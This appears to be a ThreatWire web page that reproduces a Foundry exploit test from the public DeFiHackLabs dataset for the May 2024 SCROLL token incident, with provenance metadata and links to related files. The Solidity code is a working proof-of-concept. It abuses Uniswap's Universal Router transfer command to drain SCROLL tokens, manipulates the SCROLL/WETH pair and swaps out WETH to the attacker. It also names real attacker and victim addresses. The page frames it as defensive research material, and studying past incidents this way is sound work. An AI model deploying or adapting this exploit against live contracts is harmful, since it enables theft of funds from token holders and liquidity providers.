Public reproduction file

src/test/2024-05/SCROLL_exp.sol

Public reproduction file for dataset entry SCROLL.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/SCROLL_exp.sol67 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~76 ETH
8// Attacker : 0x55Db954F0121E09ec838a20c216eABf35Ca32cDD
9// Attack Contract : 0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc
10// Vulnerable Contract : 0xe51D3dE9b81916D383eF97855C271250852eC7B7
11// Attack Tx : https://etherscan.io/tx/0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xe51D3dE9b81916D383eF97855C271250852eC7B7#code
14 
15// @Analysis
16 
17 
18interface IUniversalRouter {
19    function execute(bytes calldata commands, bytes[] calldata input) external payable;
20}
21 
22contract ContractTest is Test {
23    address public attacker = address(this);
24    address public SCROLL_creater = 0x72C509B05A44c4Bb53373Efc2E76fB75FA8108a6;
25 
26    IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
27    Uni_Pair_V2 SCROLL_WETH_pair = Uni_Pair_V2(0xa718aa1b3f61C2b90A01aB244597816a7eE69fD2);
28    IUniversalRouter universalRouter = IUniversalRouter(payable(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD));
29 
30    IERC20 constant SCROLL = IERC20(0xe51D3dE9b81916D383eF97855C271250852eC7B7);
31    WETH9 constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
32 
33    function setUp() public {
34        vm.createSelectFork("mainnet", 19_971_611 - 1);
35        vm.label(address(SCROLL), "SCROLL");
36        vm.label(address(WETH), "WETH");
37        vm.label(address(universalRouter), "Universal Router");
38        vm.label(address(SCROLL_WETH_pair), "Uniswap V2 pair SCROLL WETH");
39        vm.label(address(router), "Uniswap V2 Router");
40    }
41 
42    function testExploit() public {
43        SCROLL.balanceOf(address(universalRouter));
44        bytes memory commands = hex"05";
45        bytes[] memory inputs = new bytes[](1);
46        inputs[0] = abi.encode(address(SCROLL), address(SCROLL_creater), uint256(1));
47        universalRouter.execute(commands, inputs);
48        SCROLL.balanceOf(address(universalRouter));
49 
50        address[] memory path = new address[](2);
51        path[0] = address(SCROLL);
52        path[1] = address(WETH);
53        uint256[] memory amounts = new uint256[](2);
54        amounts = router.getAmountsOut(SCROLL.balanceOf(address(SCROLL_WETH_pair)) * 1e3, path);
55 
56        inputs[0] = abi.encode(address(SCROLL), address(SCROLL_WETH_pair), uint256(amounts[0]));
57        universalRouter.execute(commands, inputs);
58 
59        SCROLL_WETH_pair.swap(amounts[1], 0, attacker, "");
60        WETH.withdraw(WETH.balanceOf(attacker));
61 
62        inputs[0] = abi.encode(address(SCROLL), address(attacker), SCROLL.balanceOf(address(universalRouter)));
63        universalRouter.execute(commands, inputs);
64    }
65 
66    fallback() external payable {}
67}

Analysis

Dataset entry

Public Foundry test for “SCROLL” (2024-05-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x55db954f0121e09ec838a20c216eabf35ca32cdd
Attack Contract
0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc
Vulnerable Contract
0xe51d3de9b81916d383ef97855c271250852ec7b7

Attack Tx
0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91

Explorer: https://etherscan.io/address/0xe51D3dE9b81916D383eF97855C271250852eC7B7#code

File record

Name: SCROLL
Path: src/test/2024-05/SCROLL_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 7f8682b9836e25bb1dcc8cef002d1f93517155a6
Language: Solidity
Size: 68 lines
Date: 2024-05-29
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-05/SCROLL_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7f8682b9836e25bb1dcc8cef002d1f93517155a6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.